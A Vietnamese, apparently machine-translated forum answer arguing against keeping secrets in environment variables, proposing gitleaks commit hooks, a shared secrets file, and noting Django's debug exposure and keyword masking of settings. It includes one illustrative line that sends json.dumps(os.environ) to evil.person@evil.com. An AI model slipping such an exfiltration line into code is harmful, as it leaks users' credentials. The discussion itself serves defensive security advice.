AFAICT, có hai lý do mọi người khuyên bạn nên lưu trữ bí mật trong các biến môi trường:
- Quá dễ dàng để vô tình chuyển các tệp phẳng bí mật vào một kho lưu trữ. (Và nếu đó là repo công khai, bạn sẽ nâng cốc.)
- Nó ngăn chặn sự lộn xộn của mật khẩu, tức là, có cùng một khóa trong nhiều tệp thư mục dự án khác nhau, bản thân nó là một rủi ro bảo mật vì các nhà phát triển cuối cùng sẽ mất dấu vị trí của các bí mật.
Hai vấn đề này có thể được giải quyết theo những cách tốt hơn. Điều trước đây sẽ được giải quyết bằng một hook commit git để kiểm tra những thứ giống như mật khẩu (ví dụ: gitleaks ). Tôi ước Linus xây dựng một công cụ như vậy vào mã nguồn của thư viện git nhưng, than ôi, điều đó đã không xảy ra. (Không cần phải nói, các tệp bí mật luôn phải được thêm vào .gitignore
, nhưng bạn cần có một hook trong trường hợp ai đó quên làm như vậy.)
Vấn đề thứ hai có thể được giải quyết bằng cách có một tệp bí mật công ty toàn cầu, được lưu trữ lý tưởng trên một bộ nhớ dùng chung chỉ đọc. Vì vậy, trong Python, bạn có thể có một cái gì đó giống như from company_secrets import *
.
Quan trọng hơn, như những người khác đã chỉ ra, việc hack các bí mật được lưu trữ trong các biến môi trường quá dễ dàng. Ví dụ: trong Python, một tác giả thư viện có thể chèn send_email(address="evil.person@evil.com", text=json.dumps(os.environ))
và sau đó bạn sẽ nâng cốc nếu bạn thực thi mã này. Lấy cắp dữ liệu sẽ khó khăn hơn nhiều nếu bạn có một tệp trên hệ thống của mình có tên~/secret_company_stuff/.my_very_secret_company_stuff
.
Chỉ người dùng Django:
Django (ở chế độ GỠ LỖI) hiển thị giá trị thô của biến môi trường trong trình duyệt nếu có một ngoại lệ (ở chế độ GỬI). Điều này có vẻ rất không an toàn nếu chẳng hạn, một nhà phát triển vô tình bắt đầu DEBUG=True
sản xuất. Ngược lại, Django DOES xáo trộn các thiết lập mật khẩu biến bằng cách tìm kiếm chuỗi API
, TOKEN
, KEY
, SECRET
, PASS
hoặc SIGNATURE
trong khuôn khổ của settings.py
tên biến hồ sơ của.